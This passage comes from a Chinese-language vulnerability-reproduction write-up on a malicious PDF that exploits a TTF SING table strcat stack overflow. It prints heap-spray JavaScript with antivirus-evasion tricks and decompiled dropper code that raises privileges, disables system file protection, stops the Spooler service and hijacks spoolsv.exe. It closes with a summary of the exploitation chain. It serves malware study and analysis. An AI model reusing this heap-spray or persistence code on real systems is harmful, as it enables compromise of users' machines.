// 最终一个shellcode实际大小为 1MB,0x80000 * 2 = 0x100000 = 1MB
while (small_shellcode_slide.length < 0x80000)
small_shellcode_slide += small_shellcode_slide;
// 从后面截短 0x1020 - 0x08 = 4120 字节,目的应该是让实际大小小于1MB,因为这里分配的一个堆块是1MB大小,shellcode_slide 应该小于堆块大小
shellcode_slide = small_shellcode_slide.substring(0, 0x80000 - (0x1020 - 0x08) / 2);
var slide = new Array();
// 0x1f0 等于 496 ,也就是在内存中申请了接近 500 MB 的内存
for (i = 0; i < 0x1f0; i++)
slide[i] = shellcode_slide + "s";// s 字符无实际作用,估计用于免杀
可以看到上面代码首先是构造一个链条
var nop_chip = unescape("\x25\x750c0c\x25\x750c0c");
// 65536 等于 0x10000 等于 2 ^ 16 等于 64KB, 这里的 20+8 应该是用来免杀用的,无实际作用
while (nop_chip.length + 20 + 8 < 65536)
nop_chip += nop_chip;
上述代码可以近似看作拼接大量nop
指令,然后我们精准堆喷,这里我们截取一下我们的构造链条,使得我们的shellcode能被存放在0x****0c0c,这里减去0x24,是因为堆头部会占据0x20字节,然后shellcode首部我们添加了4个‘A’
// 精准堆喷,使 shellcode 开始的地方一定在 0c0c 结尾的地址 0x....0c0c 处
temp_chip = nop_chip.substring(0, (0x0c0c - 0x24) / 2);
temp_chip += shellcode; //拼接上 shellcode,该位置一定在 0c0c 结尾的地址处
然后我们将shellcode小片填充1MB大小,然后往我们准备的数组中不断填充数据,直到我们填满500的话就差不多用了500MB了
可以看到我们目前啥东西没开但是已经用了700M是哪儿来的了
7.恶意样本分析
我们已经完成了样本分析过程,接下来我们来看看恶意代码的调试分析,首先是我们的调试界面,这里之前我们使用的分析样本是简单的执行一个计算器的打印,但是这里我们直接拿真正的恶意样本来进行分析,他名字是一个名企面试自助手册
此时我们像之前漏洞分析一样直接运行到恶意代码处,这里是call了一个值,我们步入查看
恶意代码会从 kernel32.dll 中获取想要调用的函数地址。首先获取了 kernel32.dll 的基地址,0x4930044 处先赋值 ecx 为 0x30 ,fs[0x30] 处即为进程环境块 PEB 的指针,通过 PEB + 0xC 偏移处获取
PEB_LDR_DATA 结构体指针,PEB_LDR_DATA 偏移 0x1C 处获取
InInitializationOrderModuleList
成员指针,lods [esi] 获取双向链表当前节点的后继指针, 指向 kernel32.dll 节点,找到属于kernel32.dll的结点后,在其基础上再偏移0x08就是kernel32.dll在内存中的加载基地址。获取加载基地址为 0x7C800000 ,保存在 ebx 中,如下图:
而上图中即将压入栈的0xC是我们即将寻找的函数数量,而我们上图中会运行到一个call函数,步入如下:
栈上第一个参数是第一个函数的hash,第二个为kernel32.dll的基地址,然后我们0x49302f8地址指令会将该基地址偏移0x3c的值赋给eax,这个0x3c是PE头部偏移量的存储位置,然后在PE头部偏移0x78处,也就是我们kernel32.dll导出表的虚拟地址0x262c赋值给edx,如下
此时我们的edx是存放着kernel32.dll导出表的虚拟地址的,此时我们再将偏移0x18和0x20的值分别存放在ecx和ebx中,这里的偏移分别保存着导出表函数的数目和导出表函数名称表的地址偏移
然后我们继续单步,发现在0x493030F,这里,我们是将函数表中最后一个函数名称地址放入esi
可以看到我们上面放入esi的函数名是IstrenW
,然后我们在0x493031B处根据函数名计算hash,然后同之前我们压栈的hash([esp + 0x14])进行比较,若相同则继续往下走
然后我们在cmp那里下一个条件断点,免得我们一直循环,我们选择conditional这条,然后条件写esp == [esp+ 0x14]
,然后F9
可以看到专门存放函数名的esi,此时是ExitThread
,说明我们要寻找的函数就是他
- 先在导出表偏移 0x24 处获取输出序号数组的地址
- 通过输出序号数组获取 ExitThread 函数的序号,其中 ECX 就是序号
- 获取函数地址数组
- 根据序号在函数地址数组中找到 ExitThread 函数的地址,保存在 eax 中,可以看到下图此时 eax 已经指ExitProcess 函数,猜测在实际中,ExitThread 函数即为 ExitProcess 函数
然后我们执行到这里会将其存放在[edi+ecx*4-0x4],
04930063 59 pop ecx
04930064 89448F FC mov dword ptr ds:[edi+ecx*4-0x4],eax ; kernel32.ExitProcess
04930068 ^ E2 EE loopd short 04930058
接下来接着循环,此时的ecx存放着我们想要解析的函数数目,这里可以看到我们是将eax指向的函数指针保存在内存中某个位置,我们同样在此处下一个条件断点,条件为ecx == 1
,然后F9,此时执行完毕会发现对应内存填充了我们的函数地址
然后我们调用GetFileSize函数,若发现其大于,此处会一直遍历所有 handler 并获取文件大小,比较是否大于 0x2000,如果大于则跳转到 0x493008F。我们在此处下个断点,然后运行查看
大伙这里出了个问题,就是之前用计算器简单脚本所执行的iso88591没清理干净,导致运行始终不如意,这里我恢复虚拟机快照后重新编译了一遍,此时其他的基本没变,只是我们恶意代码的基地址变了一下,抱歉。
然后这里底下才是正确的返回值
可以看到我们目前esi指向的句柄为0x310,指向的eax为文件大小,为0x1CAD74,然后我们可以点击上面的H来查看一下内存中存在的句柄,可以发现恰好就是咱们的恶意文件pdf
接下来我们会调用函数SetFRilePointer
,将函数指针偏移到文件0x1200的位置,这里就不逐步查看了,我们直接往下走,之后我们会调用ReadFile
函数,读取该位置8字节到栈上0x0c0c0cFc
之后我们会检查一下几点固定值,若相等,则确定为恶意文件本身,然后我们调用GlobalAlloc
函数,从堆中分配一定的字节,然后填充0,大小为我们之前获得的那个值,然后我们分配好空间后,再次调用readFile
将恶意pdf读入内存中
读出来后,使用异或解密 PDF 中的一个 stream 流对象
解密后可以看到标红这里有一个svrhost.exe字符串,他被拼接到右边栈0x0c0c0B40的临时目录地址上,然后我们调用lcreate
函数来创建该临时文件,如下
我们直接步过,然后到相应文件夹下查看
可以看到确实有这个文件了,然后我们交换前0x200个字节,使前 200 字节恢复成正常的 PE 文件格式,然后调用 lwrite 函数把解密后的 PE 文件写进 svrhost.exe 中
再然后我们调用WinExec
函数进行执行该可执行文件,我们将他复制一份到IDA中打开
IDA反编译得到下面main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // edi
char *v5; // edi
char *v7; // edi
HANDLE FileA; // eax
int v10; // eax
HANDLE v12; // eax
int v13; // eax
void (__stdcall *v14)(LPCSTR, LPCSTR, DWORD); // edi
CHAR CmdLine[1021]; // [esp+18h] [ebp-728h] BYREF
__int16 v16; // [esp+415h] [ebp-32Bh]
char v17; // [esp+417h] [ebp-329h]
CHAR Filename[257]; // [esp+418h] [ebp-328h] BYREF
__int16 v19; // [esp+519h] [ebp-227h]
char v20; // [esp+51Bh] [ebp-225h] BYREF
CHAR v21[257]; // [esp+51Ch] [ebp-224h] BYREF
__int16 v22; // [esp+61Dh] [ebp-123h]
char v23; // [esp+61Fh] [ebp-121h] BYREF
CHAR Buffer[257]; // [esp+620h] [ebp-120h] BYREF
__int16 v25; // [esp+721h] [ebp-1Fh]
char v26; // [esp+723h] [ebp-1Dh]
CPPEH_RECORD ms_exc; // [esp+728h] [ebp-18h]
memset(Buffer, 0, sizeof(Buffer));
v25 = 0;
v26 = 0;
GetSystemDirectoryA(Buffer, 0x104u);
v3 = &v23;
while ( *++v3 )
;
strcpy(v3, "\\setup\\");
v5 = &v23;
while ( *++v5 )
;
strcpy(v5, "hid128.log");
memset(v21, 0, sizeof(v21));
v22 = 0;
v23 = 0;
GetSystemDirectoryA(v21, 0x104u);
v7 = &v20;
while ( *++v7 )
;
strcpy(v7, "\\cmd.exe");
memset(CmdLine, 0, sizeof(CmdLine));
v16 = 0;
v17 = 0;
sprintf(CmdLine, "%s /c echo 12345>%s", v21, Buffer);// 格式化输出
// C:\WINDOWS\system32\cmd.exe /c echo 12345>C:\WINDOWS\system32\setup\hid128.log
WinExec(CmdLine, 0);
Sleep(0xBB8u);
FileA = CreateFileA(Buffer, 0x80000000, 1u, 0, 3u, 0x10000080u, 0);
if ( FileA == (HANDLE)-1 )
{
v10 = 0;
}
else
{
CloseHandle(FileA);
v10 = 1;
}
if ( v10 )
sub_402180(); // 关闭文件保护函数
memset(Filename, 0, sizeof(Filename));
v19 = 0;
v20 = 0;
GetModuleFileNameA(0, Filename, 0x104u);
if ( !sub_402210(Filename) )
{
sub_40321D("Not configed, exit...\r\n");
return -1;
}
v12 = CreateFileA(Buffer, 0x80000000, 1u, 0, 3u, 0x10000080u, 0);
if ( v12 == (HANDLE)-1 )
{
v13 = 0;
}
else
{
CloseHandle(v12);
v13 = 1;
}
if ( !v13 )
return -1;
GetSystemDirectoryA(::Buffer, 0x104u);
*(_WORD *)&::Buffer[strlen(::Buffer)] = 92;
strcat(::Buffer, "spoolss.dll");
GetSystemDirectoryA(byte_4127E8, 0x104u);
*(_WORD *)&byte_4127E8[strlen(byte_4127E8)] = 92;
GetSystemDirectoryA(byte_4128F0, 0x104u);
strcat(byte_4128F0, "\\Setup\\");
GetSystemDirectoryA(byte_4129F8, 0x104u);
strcat(byte_4129F8, "\\catroot\\");
strcat(ExistingFileName, byte_4127E8);
strcat(ExistingFileName, aSpoolsvExe);
strcat(byte_412C08, byte_4127E8);
strcat(byte_412C08, aSpoolerExe);
strcat(byte_412D10, byte_4128F0);
strcat(byte_412D10, aSetjupryExe);
strcat(NewFileName, byte_4128F0);
strcat(NewFileName, aFxjssocmExe);
strcat(byte_412F20, byte_4127E8);
strcat(byte_412F20, aMsxml0rDll);
strcat(FileName, byte_4127E8);
strcat(FileName, aMsxml0Dll);
strcat(byte_413130, byte_4128F0);
strcat(byte_413130, aMsxm32Dll);
ms_exc.registration.TryLevel = 0;
sub_401FA0(ServiceName);
dword_413234 = sub_401A00(byte_413130);
if ( dword_413234 )
{
v14 = (void (__stdcall *)(LPCSTR, LPCSTR, DWORD))MoveFileExA;
MoveFileExA(ExistingFileName, byte_412C08, 3u);
CopyFileA(NewFileName, ExistingFileName, 0);
if ( sub_401000(ExistingFileName, (int)aMsxml0rDll, (int)aEntrypoint) == 1 )
sub_40321D("Install Again Successfully!\r\n");
else
sub_40321D("Install Again Failed!\r\n");
sub_401CE0(ExistingFileName, ::Buffer);
}
else
{
CopyFileA(ExistingFileName, NewFileName, 0);
v14 = (void (__stdcall *)(LPCSTR, LPCSTR, DWORD))MoveFileExA;
MoveFileExA(ExistingFileName, byte_412C08, 3u);
CopyFileA(NewFileName, ExistingFileName, 0);
if ( sub_401000(ExistingFileName, (int)aMsxml0rDll, (int)aEntrypoint) == 1 )
sub_40321D("New Install Successfully!\r\n");
else
sub_40321D("New Install Failed!\r\n");
CopyFileA(ExistingFileName, byte_412D10, 0);
CopyFileA(::Buffer, byte_413130, 0);
sub_401D70(byte_4128F0, byte_4129F8);
sub_401CE0(ExistingFileName, ::Buffer);
}
sub_401AD0(ServiceName);
if ( sub_401A00(byte_412F20) )
{
if ( sub_401A00(FileName) )
DeleteFileA(FileName);
v14(byte_412F20, FileName, 3u);
sub_402110(byte_412F20, &unk_40B148, 0x6E00u);
sub_4023F0(byte_412F20);
if ( sub_401CE0(byte_412F20, ::Buffer) )
sub_40321D("Upgrade Success!\r\n");
else
sub_40321D("Upgrade Failed!\r\n");
}
else
{
sub_402110(byte_412F20, &unk_40B148, 0x6E00u);
sub_4023F0(byte_412F20);
sub_401CE0(byte_412F20, ::Buffer);
sub_401CE0(ExistingFileName, ::Buffer);
}
ms_exc.registration.TryLevel = -1;
sub_401E20(ServiceName);
sub_401B70(4205738);
return 1;
}
可以看到该函数首先是创建了一个log文件,然后输出12345到其中,之后我们进入注释的关闭文件保护函数,点击查看
int __thiscall sub_402180(void *this)
{
HMODULE v1; // esi
unsigned __int16 Version; // ax
__int16 v3; // ax
HMODULE LibraryA; // eax
DWORD (__stdcall *ProcAddress)(LPVOID); // esi
void *v6; // eax
HANDLE v7; // eax
DWORD ThreadId; // [esp+0h] [ebp-4h] BYREF
ThreadId = (DWORD)this;
sub_4016F0(); // 提权函数,启用SeDebugPreviledge
sub_401780("Winlogon.exe");
v1 = 0;
Version = GetVersion();
if ( (_BYTE)Version == 5 )
{
v3 = HIBYTE(Version);
if ( !(_BYTE)v3 )
{
LibraryA = LoadLibraryA("sfc.dll");
LABEL_7:
v1 = LibraryA;
goto LABEL_8;
}
if ( (_BYTE)v3 == 1 || (_BYTE)v3 == 2 )
{
LibraryA = LoadLibraryA("sfc_os.dll");
goto LABEL_7;
}
}
LABEL_8:
ProcAddress = (DWORD (__stdcall *)(LPVOID))GetProcAddress(v1, (LPCSTR)2);
ThreadId = 0;
v6 = (void *)sub_4018B0("Winlogon.exe");
v7 = CreateRemoteThread(v6, 0, 0, ProcAddress, 0, 0, &ThreadId);
WaitForSingleObject(v7, 0xFA0u);
return 0;
}
其中函数sub_4016F0()
是一个典型的提权函数,他的名字应该是ElvatePriviledge
,他的作用是获取 SeDebugPrivilege 权限并设置 SE_PRIVILEGE_ENABLED 属性来开启权限,这里没符号表很难受,跟进查看如下
int sub_4016F0()
{
HANDLE CurrentProcess; // eax
HANDLE TokenHandle; // [esp+0h] [ebp-1Ch] BYREF
struct _LUID Luid; // [esp+4h] [ebp-18h] BYREF
struct _TOKEN_PRIVILEGES NewState; // [esp+Ch] [ebp-10h] BYREF
CurrentProcess = GetCurrentProcess();
if ( !OpenProcessToken(CurrentProcess, 0x28u, &TokenHandle) )
return 0;
if ( !LookupPrivilegeValueA(0, "SeDebugPrivilege", &Luid) )
{
CloseHandle(TokenHandle);
return 0;
}
NewState.Privileges[0].Luid = Luid;
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Attributes = 2;
AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);
CloseHandle(TokenHandle);
return 1;
}
然后回到主函数,该函数会串讲停止打印服务脚本并且运行,这里会有一个字符串Spooler
,我们用OD进行动态调试
我们跟进查看
可以看到他会创建一个Temp_unstop.bat,然后我们写入内容
net stop "Spooler"
net stop "Spooler"
del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_unstop.bat"
他是为了关闭Spooler服务,然后删除自己。
void __cdecl sub_401FA0(const char *a1)
{
char *v1; // edi
HANDLE FileA; // esi
DWORD NumberOfBytesWritten; // [esp+14h] [ebp-61Ch] BYREF
CHAR Buffer[257]; // [esp+18h] [ebp-618h] BYREF
__int16 v6; // [esp+119h] [ebp-517h]
char v7; // [esp+11Bh] [ebp-515h]
CHAR Filename[257]; // [esp+120h] [ebp-510h] BYREF
__int16 v9; // [esp+221h] [ebp-40Fh]
char v10; // [esp+223h] [ebp-40Dh]
CHAR v11[1021]; // [esp+228h] [ebp-408h] BYREF
__int16 v12; // [esp+625h] [ebp-Bh]
char v13; // [esp+627h] [ebp-9h]
memset(Buffer, 0, sizeof(Buffer));
v6 = 0;
v7 = 0;
GetTempPathA(0x104u, Buffer);
v1 = (char *)&NumberOfBytesWritten + 3;
while ( *++v1 )
;
strcpy(v1, "_unstop.bat");
memset(Filename, 0, sizeof(Filename));
v9 = 0;
v10 = 0;
GetModuleFileNameA(0, Filename, 0x104u);
FileA = CreateFileA(Buffer, 0xC0000000, 1u, 0, 2u, 0x10000080u, 0);
if ( FileA != (HANDLE)-1 )
{
memset(v11, 0, sizeof(v11));
v12 = 0;
v13 = 0;
wsprintfA(v11, "net stop \"%s\"\r\nnet stop \"%s\"\r\ndel \"%s\" \r\n", a1, a1, Buffer);
NumberOfBytesWritten = 0;
WriteFile(FileA, v11, strlen(v11), &NumberOfBytesWritten, 0);
CloseHandle(FileA);
ShellExecuteA(0, "open", Buffer, 0, 0, 0);
Sleep(0x1388u);
}
}
之后我就不细讲了,这里涉及到的知识越来越难懂了,写了没什么意义,总的来说就是,svrhost.exe文件会在系统目录下生成其他病毒文件,同时篡改系统文件,然后他也会创建一系列bat批处理文件,要么是关闭服务,要么是删除自身以及病毒痕迹,或者说是加载恶意DLL,而该注入的恶意DLL文件就是msxml0r.dll文件.
他经过PECompact加壳处理,他会得到3个URL地址然后不断发送HTTP请求,下载3个gif文件,可以猜测这三个gif文件中包含一些PE数据,用来执行恶意操作。最后我们的shellcode将会把PDF样本修改为正常文件,也就是删除了TTF字体的SING表。
可以看到PDF正常打开
整个恶意PDF文件如下:
8.整体过程
不得不说自身还是太菜了,在后面恶意代码分析阶段差的不是一点半点,但好歹也把漏洞利用这部分搞明白了,总体流程归结于如下几点:
- strcat函数可以通过SING表的uniqueName字段来进行栈溢出
- 通过覆盖栈上的函数指针而不是返回值,使得后续调用该指针来绕过GS,也就是canary,然后进行ROP
- 使用heap spray来布置大量相同的shellcode。堆喷的脚本使用随机变量名、\x25替代%号来、添加无用代码来绕过杀毒软件分析
- 通过ROP来绕过DEP保护,也就是NX
- 其中ROP的构造我们利用未开启ALSR的模块来获取gadget,他的地址一般是固定的
- 由于我们的uniqueName可能不能太大,防止覆盖程序关键数据,因此我们此时使用两次栈迁移来到我们精准堆喷的地址,0x0c0c0c0c,我们将漏洞利用程序使用文件映射的一些函数映射到内存,然后将EIP指向他。
- 然后我们通过PEB环境控制块来获取kernel32.dll的基地址,从而获取一些需要运行的函数地址
- 通过异或和交换字符来对恶意PE文件进行加密
- 释放并且运行svchost.exe恶意文件,文件名同系统进程名一致,增加隐蔽性
- 提升权限,关闭系统文件保护,用来修改系统文件
- 修改打印服务程序spoolsv.exe的导入表,使得其在启动的时候加载恶意dll程序
- 修改文件时间等加密隐蔽性,然后运行完程序后,会删除没用的程序防止被发现
- 利用加壳防止逆向分析
- 远程下载恶意程序,最后修改恶意样本PDF文件为正常PDF并打开,假装我们是正常开启。
9.漏洞修复
官方在之后修补该漏洞的时候,添加了字符串长度的检测和限制,用新的函数来替代了strcat函数,这样就避免了我们在栈上构造虚假函数指针
10.总结
不得不说自己掌握的知识还是太少,上面整体过程中步骤从1~6是漏洞利用步骤看着还挺顺利,之后的步骤是恶意代码行为,对于恶意文件分析感觉自己对windows了解的太少了,之后还是先复现linux的漏洞再来看windows把。不过由于这是本人第一次进行漏洞复现,所以对于恶意代码也尽量硬着头皮看了看,但是发现自身对于windows的了解还是太少,看到后面还是挺折磨的,因此我下一步准备还是复现Linux方面的了。另外附件中pdf即为恶意样本